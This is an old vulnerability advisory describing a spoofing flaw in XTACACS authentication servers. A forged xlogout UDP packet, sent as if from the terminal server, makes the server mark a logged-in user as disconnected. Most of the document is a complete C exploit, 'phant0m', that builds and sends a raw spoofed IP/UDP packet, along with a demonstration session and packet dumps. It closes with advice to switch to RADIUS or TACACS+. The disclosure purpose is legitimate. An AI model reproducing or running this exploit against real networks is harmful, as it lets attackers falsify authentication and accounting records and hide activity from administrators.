COMMAND
XTACACS
SYSTEMS AFFECTED
Systems running XTACACS auth server
PROBLEM
Coaxial Karma found following. He recently discovered that when a
Terminal Server (TS) was using XTACACS as authentication protocol,
it was possible to make the XTACACS server believes that you've
disconnected. In order to exploit this, you only have to send an
xlogout request to the XTACACS server claiming to be from the TS.
Here is an example:
koax# taclast | grep silger | head -1
silger tty16 ts.c-a.org Thu Dec 10 10:02 still logged in
koax# ./phant0m ts.c-a.org xtacacs.c-a.org 16
koax# taclast | grep silger | head -1
silger tty16 ts.c-a.org Thu Dec 10 10:02 - 10:03 (00:01) 72
koax#
The first packet is the one sent to XTACACS authentication server
and the second one is the answer from the XTACACS authentication
server to the TS.
10:03:24.000000 ts.c-a.org.49 > xtacacs.c-a.org.49: udp 56
4500 5400 3412 0000 ff11 6785 cee7 d20d
cee7 d202 3100 3100 4000 0000 8007 0000
0700 0004 0000 0000 0000 0000 0000 000f
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000
10:03:24.000000 xtacacs.c-a.org.49 > ts.c-a.org.49: udp 28
4500 3800 ce7c 0000 4011 bc07 cee7 d202
cee7 d20d 3100 3100 2400 bfe6 8002 0000
0700 0100 0000 0000 0000 0000 0000 000f
0000 0000 0000 0000
Exploit follows:
/************************************************************************
*
* phant0m v1.0 by Coaxial Karma, c_karma@hotmail.com
* Modified version of arnudp.c v0.01 by Arny, cs6171@scitsc.wlv.ac.uk
*
***********************************************************************/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <stdio.h>
struct sockaddr sa;
main(int argc,char **argv)
{
int fd;
int x=1;
struct sockaddr_in *sin;
struct hostent *he;
u_char gram[84]=
{
/* IP Header */
0x45, 0x00, 0x00, 0x26,
0x12, 0x34, 0x00, 0x00,
0xFF, 0x11, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
/* UDP Header */
0x00, 0x31, 0x00, 0x31,
0x00, 0x40, 0x00, 0x00,
/* Data */
0x80, 0x07, 0x00, 0x00,
0x07, 0x00, 0x00, 0x04,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x05,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
};
if (argc != 4)
{
fprintf(stderr, "usage: %s SRC-IP DST-IP TTY\n", *argv);
exit(1);
};
if ((he = gethostbyname(argv[1])) == NULL)
{
fprintf(stderr, "Can't resolve source hostname\n");
exit(1);
};
bcopy(*(he->h_addr_list), (gram+12), 4);
if ((he = gethostbyname(argv[2])) == NULL)
{
fprintf(stderr, "Can't resolve destination hostname\n");
exit(1);
};
bcopy(*(he->h_addr_list), (gram+16), 4);
*(u_short *) (gram + 46) = htons((u_short) atoi(argv[3]));
sin = (struct sockaddr_in *) &sa;
sin->sin_family = AF_INET;
bcopy(*(he->h_addr_list), &(sin->sin_addr), sizeof(struct in_addr));
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
{
perror("socket");
exit(1);
};
#ifdef IP_HDRINCL
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
{
perror("setsockopt IP_HDRINCL");
exit(1);
};
#else
fprintf(stderr, "We don't have IP_HDRINCL.\n\n");
exit(1);
#endif
if ((sendto(fd, &gram, sizeof(gram), 0, (struct sockaddr *) sin,
sizeof(struct sockaddr))) == -1)
{
perror("sendto");
exit(1);
};
}
SOLUTION
You should really neither use the old TACACS nor XTACACS but
rather RADIUS or TACACS+:
- they are available in free source code in C
- they protect/authenticate the packets by a shared secret
between the Access Control Server and the Access
Router/Firewall (Radius encrypts only the password so have
less confidentiality that TACACS+ which encrypts almost
everything)
- Radius and TACACS+ are widely supported